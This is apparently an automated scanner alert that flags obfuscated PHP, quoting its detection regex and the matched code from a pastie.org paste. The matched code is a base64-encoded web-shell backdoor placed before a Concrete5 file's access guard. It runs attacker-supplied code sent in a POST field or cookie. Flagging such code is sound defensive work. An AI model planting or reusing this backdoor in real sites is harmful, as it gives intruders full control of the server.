Potential leak of data: Obfuscated PHP Code

Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php /*d676a88c1a5be29cd519823a28d3cc0a*/ eval(base64_decode("JGEgICAgPSAgICAndyc7OyAgICAgIGlmICAoICAgICBpc3NldCggICAgICRfQ09PS0lFWydkd2MnXSkgICAgKSAgICAgeyAgICBlY2hvICAgICAnPGN3ZD4nICAuICAgICBnZXRjd2QoKSAgICAuICAnPC9jd2Q+Jzs7ICAgICB9ICAgaWYgICAoICBpc3NldCAgICAgKCAgJF9QT1NUWydwZDY3J10gICAgICkgICApICAgIHsgICAgZXZhbCAgKCAgYmFzZTY0X2RlY29kZSAgICAoICAgICAkX1BPU1RbJ3BkNjcnXSAgKSAgICk7OyA7IDsgICAgIHJldHVybjs7ICAgICB9ICAgIGlmICAgICAoICBpc3NldCggICAkX0NPT0tJRVsncGQ2NyddKSAgKSAgICAgeyAgICBldmFsICAgKCAgIGJhc2U2NF9kZWNvZGUgICAoICAgJF9DT09LSUVbJ3BkNjcnXSAgICkgICApOzsgOyA7ICAgICByZXR1cm47OyA7IDsgICB9ICAg")); ?><?php defined('C5_EXECUTE') or die("Access Denied."); ?> Source: http://pastie.org/pastes/8997035/download